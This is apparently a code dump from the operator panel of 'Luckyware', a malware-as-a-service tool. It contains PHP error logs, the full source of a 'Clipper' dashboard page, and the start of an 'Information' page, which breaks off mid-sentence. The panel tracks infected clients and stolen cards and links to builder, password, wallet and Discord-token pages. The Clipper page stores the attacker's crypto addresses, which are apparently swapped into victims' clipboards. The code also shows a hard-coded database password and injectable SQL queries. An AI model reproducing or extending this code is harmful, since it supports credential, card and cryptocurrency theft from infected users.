[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[09-Nov-2023 19:42:33 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Unknown column 'Urls' in 'where clause' in /home/luckycha/public_html/Dashboard/Cards/crd3453745.php:102
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/crd3453745.php(102): mysqli_query(Object(mysqli), 'SELECT COUNT(*)...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/crd3453745.php on line 102
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+660
View File
@@ -0,0 +1,660 @@
<?php
session_start();
$domainyess = $_SERVER['HTTP_HOST'];
$secretkey = $_SESSION['secret_key'];
$username = $_SESSION['admin_name'];
$role = $_SESSION['Role'];
if (!isset($_SESSION['admin_name'])) {
header('location:../Login/');
} else {
if ($role == 'Trial') {
header('location: https://' . $domainyess . '/Subscriptions');
}
$conn = mysqli_connect("localhost", "miner", "Sifre.12345", "luckyminer");
if ($role == 'Founder') {
$selectu = "SELECT * FROM miners";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE LastPing >= $fiveMinutesAgo";
} else {
$selectu = "SELECT * FROM miners WHERE OwnerID = '$secretkey'";
$resultu = mysqli_query($conn, $selectu);
$mytk = mysqli_num_rows($resultu);
$selectan = "SELECT * FROM cards WHERE OwnerID = '$secretkey'";
$resultan = mysqli_query($conn, $selectan);
$mystole = mysqli_num_rows($resultan);
$fiveMinutesAgo = time() - 360;
$selectana = "SELECT * FROM miners WHERE OwnerID = '$secretkey' AND LastPing >= $fiveMinutesAgo";
}
$resultanss = mysqli_query($conn, $selectana);
$myaktv = mysqli_num_rows($resultanss);
}
function sanitizeInput($input)
{
// Define the list of forbidden characters
$forbiddenChars = ['(', ')', '=', '*'];
$isac = '0';
// Check if the input contains any forbidden characters
foreach ($forbiddenChars as $char) {
if (strpos($input, $char) !== false) {
// Forbidden character found, handle the error (you can customize this part)
$isac = '1';
}
}
if ($isac == '1') {
return 'NoSpecialChar';
} else {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
}
$successMessage = '';
if (isset($_POST["save"])) {
$BTC = sanitizeInput($_POST['btc']);
$ETH = sanitizeInput($_POST['eth']);
$LTC = sanitizeInput($_POST['ltc']);
$XMR = $_POST['xmr'];
$DOGE = sanitizeInput($_POST['doge']);
$DASH = sanitizeInput($_POST['dash']);
$XRP = sanitizeInput($_POST['xrp']);
$NEO = sanitizeInput($_POST['neo']);
$finalstring = $BTC . "|" . $ETH . "|" . $LTC . "|" . $XMR . "|" . $DOGE . "|" . $DASH . "|" . $XRP . "|" . $NEO . "|";
$sql = "UPDATE accounts SET Wallets=? WHERE OwnerKey=?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ss", $finalstring, $secretkey);
if ($stmt->execute()) {
} else {
}
}
$BTCLAST;
$ETHLAST;
$LTCLAST;
$XMRLAST;
$DOGELAST;
$DASHLAST;
$XRPLAST;
$NEOLAST;
// Query to fetch the value from the "wallet" column
$sqlwallety = "SELECT Wallets FROM accounts WHERE OwnerKey = '$secretkey'"; // You need to specify your table and condition here
$resultwallety = mysqli_query($conn, $sqlwallety);
if ($resultwallety->num_rows > 0) {
// Display the value from the "wallet" column
$rowanan = $resultwallety->fetch_assoc();
$walletValueRaw = $rowanan["Wallets"];
$RealWallets = explode("|", $walletValueRaw);
list($BTCADD, $ETHADD, $LTCADD, $XMRADD, $DOGEADD, $DASHADD, $XRPADD, $NEOADD, $dummy) = $RealWallets;
if (empty($BTCADD)) {
$BTCLAST = 'Addres Not Setted. Enter BTC Addres';
} else {
$BTCLAST = 'BTC Addres Is Setted To ' . $BTCADD;
}
if (empty($ETHADD)) {
$ETHLAST = 'Addres Not Setted. Enter ETH Addres';
} else {
$ETHLAST = 'ETH Addres Is Setted To ' . $ETHADD;
}
if (empty($LTCADD)) {
$LTCLAST = 'Addres Not Setted. Enter LTC Addres';
} else {
$LTCLAST = 'LTC Addres Is Setted To ' . $LTCADD;
}
if (empty($XMRADD)) {
$XMRLAST = 'Addres Not Setted. Enter XMR Addres';
} else {
$XMRLAST = 'XMR Addres Is Setted To ' . $XMRADD;
}
if (empty($DOGEADD)) {
$DOGELAST = 'Addres Not Setted. Enter DOGE Addres';
} else {
$DOGELAST = 'DOGE Addres Is Setted To ' . $DOGEADD;
}
if (empty($DASHADD)) {
$DASHLAST = 'Addres Not Setted. Enter Dash Addres';
} else {
$DASHLAST = 'Dash Addres Is Setted To ' . $DASHADD;
}
if (empty($XRPADD)) {
$XRPLAST = 'Addres Not Setted. Enter XRP Addres';
} else {
$XRPLAST = 'XRP Addres Is Setted To ' . $XRPADD;
}
if (empty($NEOADD)) {
$NEOLAST = 'Addres Not Setted. Enter Solana Addres';
} else {
$NEOLAST = 'Solana Addres Is Setted To ' . $NEOADD;
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="../assets/css/custom.css">
<link rel="stylesheet" href="../assets/css/style.css">
<link rel="stylesheet" href="../assets/css/hover.css">
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
<meta content="Luckyware" property="og:title" />
<meta content="Luck is something you make and victory is something u take" property="og:description" />
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
<title>Clipper</title>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #111111;
z-index: 9999;
display: flex;
justify-content: center;
align-items: center;
opacity: 1;
visibility: visible;
/* Add visibility property */
transition: all 1s ease;
/* Longer transition and apply to all */
}
.loading-overlay.fade-out {
opacity: 0;
visibility: hidden;
/* Hide element after fade */
}
.loading-spinner {
width: 50px;
height: 50px;
border: 3px solid #333;
border-radius: 50%;
border-top-color: #850000;
animation: spin 1s linear infinite;
}
@keyframes spin {
100% {
transform: rotate(360deg);
}
}
</style>
</head>
<body class="dg">
<div class="loading-overlay">
<div class="loading-spinner"></div>
</div>
<div id="mobile topNav" class="bg xl:hidden"> <!-- MOBILE TOPNAV -->
<div class="grid sm:grid-cols-2 px-5 py-3">
<div class="1 text-left">
<div class="flex">
<img class="w-12" src="https://<?php echo $domainyess; ?>/icon.png" alt="">
<h1 class="py-5 fntBold tracking-wide text-lg text-stone-300 ml-3">Luckyware <span
class="textCol">Dashboard</span></h1>
</div>
</div>
<div class="2 text-right">
<button class="text-xl text-stone-300 py-5"><i class="fa-solid fa-bars"></i></button>
</div>
</div>
</div>
<div class="grid xl:grid-cols-12"> <!-- start -->
<div class="col-span-2 bg xl:grid sm:hidden pb-24 rounded-lg"> <!-- DESKTOP SIDENAV -->
<div class="1">
<div class="flex justify-center mt-10">
<h1 class="text-stone-300 fntBold text-2xl tracking-wide">
Lucky <span class="textCol">Ware</span>
</h1>
</div>
<div class="mx-5 mt-6">
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Dashboard</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-house text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Builder';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Builder</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-hammer text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Passwords';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Password</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-key text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Wallets';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Wallets</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-wallet text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Tokens';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Tokens</h1>
</div>
<div class="2 text-right">
<i class="fa-brands fa-discord text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Automations';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Automations</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-play text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Clipper';"
class="dg w-full text-left px-5 py-4 rounded-lg btn border-b brdCol mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Clipper</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-clipboard textCol mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Cards';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Cards</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-credit-card text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="location.href='https://<?php echo $domainyess; ?>/Dashboard/Settings';"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Settings</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-gear text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
<button onclick="window.open('https://<?php echo $domainyess; ?>/Dashboard/Information', '_blank');"
class="dg w-full text-left px-5 py-4 rounded-lg btn hvr-underline-from-center mt-4">
<div class="grid grid-cols-2">
<div class="1">
<h1 class="text-stone-400 fntBold tracking-wide text-lg">Information</h1>
</div>
<div class="2 text-right">
<i class="fa-solid fa-circle-info text-stone-400 mt-1 icon"></i>
</div>
</div>
</button>
</div>
</div>
</div>
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
<div class="grid xl:grid-cols-4 sm:grid-cols-2 gap-5"> <!-- STATS -->
<div class="1 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg w-96"><i
class="fa-solid fa-earth-americas text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mytk; ?>
</h1>
</div>
</div>
</div>
<div class="2 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-globe text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Active Clients</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $myaktv; ?>
</h1>
</div>
</div>
</div>
<div class="3 bg rounded-lg px-5 py-5 btn">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-clipboard text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Total Cards</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $mystole; ?>
</h1>
</div>
</div>
</div>
<a href="https://<?php echo $domainyess; ?>/Subscriptions" class="block">
<div class="4 bg rounded-lg px-5 py-5 btn cursor-pointer hover:opacity-90 transition">
<div class="grid grid-cols-3">
<div class="1 col-span-2">
<h1 class="text-stone-300 fntBold tracking-wide text-lg"><i
class="fa-solid fa-money-bill text-stone-300 mr-2 bgCol w-11 text-center py-3 rounded-full"></i>
Subscription</h1>
</div>
<div class="2 text-right">
<h1 class="text-stone-400 fntBold tracking-wide text-lg py-2 icon">
<?php echo $role; ?>
</h1>
</div>
</div>
</div>
</a>
</div>
<form method="post">
<div class="grid xl:grid-cols-1 gap-5 mt-5">
<div class="1 bg rounded-lg pb-5 h-max btn2"><!-- clipper-->
<div class="grid grid-cols-2">
<div class="1">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"> <i
class="fa-solid fa-house-flood-water mr-1 icon2"></i> Clipper Crypto Addresses
</h1>
</div>
<div class="2 text-right">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-500"></h1>
</div>
</div>
<hr class="mx-5 mt-2 border-stone-800">
<div class="grid xl:grid-cols-2 gap-5 mx-5 mt-5">
<div class="1">
<div class="dg px-5 py-5 rounded-lg"><!--Bitcoin-->
<div class="grid grid-cols-6">
<div class="flex">
<i class="fa-brands fa-btc text-3xl text-yellow-600"></i>
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-1">BTC
</h1>
</div>
<div class="sc-container ml-5 col-span-5">
<input id="btc" type="text" name="btc" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
placeholder="<?php echo $BTCLAST; ?>" type="text">
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
</div>
</div>
</div>
<div class="dg px-5 py-5 rounded-lg mt-5"><!--Litecoin-->
<div class="grid grid-cols-6">
<div class="flex">
<i class="fa-solid fa-litecoin-sign text-3xl text-blue-800"></i>
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-1">LTC
</h1>
</div>
<div class="sc-container ml-5 col-span-5">
<input id="ltc" type="text" name="ltc" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
placeholder="<?php echo $LTCLAST; ?>" type="text">
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
</div>
</div>
</div>
<div class="dg px-5 py-5 rounded-lg mt-5"><!--Doge-->
<div class="grid grid-cols-6">
<div class="flex">
<img src="../assets/img/doge.png" alt="">
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-0">Doge</h1>
</div>
<div class="sc-container ml-5 col-span-5">
<input id="doge" type="text" name="doge" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
placeholder="<?php echo $DOGELAST; ?>" type="text">
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
</div>
</div>
</div>
<div class="dg px-5 py-5 rounded-lg mt-5"><!--XRP-->
<div class="grid grid-cols-6">
<div class="flex">
<img src="../assets/img/xrp.png" alt="">
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-0">XRP</h1>
</div>
<div class="sc-container ml-5 col-span-5">
<input id="xrp" type="text" name="xrp" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
placeholder="<?php echo $XRPLAST; ?>" type="text">
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
</div>
</div>
</div>
</div>
<div class="2">
<div class="dg px-5 py-5 rounded-lg"><!--Ethereum-->
<div class="grid grid-cols-6">
<div class="flex">
<i class="fa-brands fa-ethereum text-3xl text-purple-600"></i>
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-1">ETH
</h1>
</div>
<div class="sc-container ml-5 col-span-5">
<input id="eth" type="text" name="eth" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
placeholder="<?php echo $ETHLAST; ?>" type="text">
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
</div>
</div>
</div>
<div class="dg px-5 py-5 rounded-lg mt-5"><!--XMR-->
<div class="grid grid-cols-6">
<div class="flex">
<i class="fa-brands fa-monero text-3xl text-orange-600"></i>
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-1">XMR</h1>
</div>
<div class="sc-container ml-5 col-span-5">
<input id="xmr" type="text" name="xmr" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
placeholder="<?php echo $XMRLAST; ?>" type="text">
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
</div>
</div>
</div>
<div class="dg px-5 py-5 rounded-lg mt-5"><!--Dash-->
<div class="grid grid-cols-6">
<div class="flex">
<img class="" src="../assets/img/dash.png" alt="">
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-0">Dash</h1>
</div>
<div class="sc-container ml-5 col-span-5">
<input id="dash" type="text" name="dash" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
placeholder="<?php echo $DASHLAST; ?>" type="text">
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
</div>
</div>
</div>
<div class="dg px-5 py-5 rounded-lg mt-5"><!--Neo-->
<div class="grid grid-cols-6">
<div class="flex">
<img class="" src="../assets/img/solon.png" alt="">
<h1 class="ml-5 text-stone-300 fntBold tracking-wide text-lg mt-0">SOL</h1>
</div>
<div class="sc-container ml-5 col-span-5">
<input id="neo" type="text" name="neo" data-sc="" class="smoothCaretInput rounded-lg bg px-3 text-stone-400"
placeholder="<?php echo $NEOLAST; ?>" type="text">
<div class="caret bgCol" style="width: 2px; height: 60%;"></div>
</div>
</div>
</div>
</div>
</div>
<div class="mx-5 mt-5">
<button id="save" type="submit" name="save"
class="dg py-2 rounded-lg text-stone-400 fntBold tracking-wide btn hvr-underline-from-center w-full">
<i class="fa-solid fa-floppy-disk mr-1 icon"></i>
Save
</button>
</div>
</form>
</div>
</div>
</div>
</div> <!-- end -->
<script src="../assets/js/status.js"></script>
<script src="../assets/js/builder.js"></script>
<style>
input::placeholder {
color: #a8a29e;
}
</style>
<script>
document.addEventListener("DOMContentLoaded", function() {
// Wait for fonts and stylesheets
Promise.all([
document.fonts.ready,
new Promise(resolve => {
// Check if all stylesheets are loaded
const styleSheets = Array.from(document.styleSheets);
if (styleSheets.every(sheet => sheet.loaded !== false)) {
resolve();
} else {
window.addEventListener('load', resolve);
}
})
]).then(() => {
const overlay = document.querySelector('.loading-overlay');
// Add the fade-out class
overlay.classList.add('fade-out');
// Remove the element after the transition completes
overlay.addEventListener('transitionend', function() {
overlay.parentNode.removeChild(overlay);
}, {
once: true
});
});
});
// Preload custom fonts if you're using any
const fonts = ['Kanit'];
fonts.forEach(font => {
new FontFace(font, `url(path/to/${font}.woff2)`)
.load()
.then(loadedFont => document.fonts.add(loadedFont));
});
</script>
</body>
</html>
+643
View File
@@ -0,0 +1,643 @@
<?php
$domainyess = $_SERVER['HTTP_HOST'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="../assets/css/custom.css">
<link rel="stylesheet" href="../assets/css/style.css">
<link rel="stylesheet" href="../assets/css/hover.css">
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://dooovid.github.io/smoothcaret/demo/smoothCaret.min.js" defer></script>
<link rel="stylesheet" href="../../assets/fontaw/css/all.min.css">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.css">
<script type="text/javascript" charset="utf8"
src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.js"></script>
<meta content="Luckyware" property="og:title" />
<meta content="Luck is something you make and victory is something u take" property="og:description" />
<meta content="https://<?php echo $domainyess; ?>" property="og:url" />
<meta content="https://<?php echo $domainyess; ?>/icon.png" property="og:image" />
<meta content="#e2ff85" data-react-helmet="true" name="theme-color" />
<link rel="shortcut icon" href="https://<?php echo $domainyess; ?>/icon.png" />
<title>Information</title>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #111111;
z-index: 9999;
display: flex;
justify-content: center;
align-items: center;
opacity: 1;
visibility: visible;
/* Add visibility property */
transition: all 1s ease;
/* Longer transition and apply to all */
}
.loading-overlay.fade-out {
opacity: 0;
visibility: hidden;
/* Hide element after fade */
}
.loading-spinner {
width: 50px;
height: 50px;
border: 3px solid #333;
border-radius: 50%;
border-top-color: rgb(173, 25, 12);
animation: spin 1s linear infinite;
}
@keyframes spin {
100% {
transform: rotate(360deg);
}
}
/* Custom hover link color */
.hover-link {
color: #111111;
transition: color 0.3s ease-in-out;
}
.hover-link:hover {
color: #f54b42;
}
.current {
background-color: #850000;
}
.btn3 {
border: 1px solid #151515;
/* Default border color */
transition: box-shadow 0.5s ease-in-out, border-color 0.5s ease-in-out;
/* Smooth transition */
}
.btn3:hover {
box-shadow: 0 0 4px #B80000;
/* Subtle dark red glow on hover */
border-color: #B80000;
/* Change border color to dark red */
}
</style>
</head>
<body class="dg">
<div class="loading-overlay">
<div class="loading-spinner"></div>
</div>
<div class="col-span-10 mx-5 mt-10"> <!-- CONTENT -->
<div class="grid xl:grid-cols-6 gap-5 mt-5"> <!-- ANNOUNCEMENT + LOGS -->
<div class="1 xl:col-start-1 xl:col-end-7 bg rounded-lg pb-5 btn2">
<h1 class="fntBold tracking-wide text-lg px-5 pt-4 text-stone-400"><i
class="fa-solid fa-globe mr-1 icon2"></i> Lucky Ware</h1>
<hr class="mx-5 mt-2 border-stone-800">
<div class="message dg mx-5 py-1 mt-5 rounded-lg btn3">
<div class="flex px-5 mt-3">
<div class="grid grid-cols-2">
<div class="block">
<h1 class="mt-1 ml-0 fntBold text-[#DCDBD1] tracking-wide">General Information</h1>
</div>
</div>
</div>
<h1 class="px-5 mt-1 mb-3 text-stone-400 fntBold">
Lucky Ware is the third product in the Lucky Services Franchise, created and developed by
Hopesar. Designed for users with thousands of connections, it offers a web-based platform for
managing clients efficiently. Building on the experience from its predecessors, Luckycharm and
Luckyminer, Lucky Ware provides a refined and user-friendly experience. Its stubs are written in
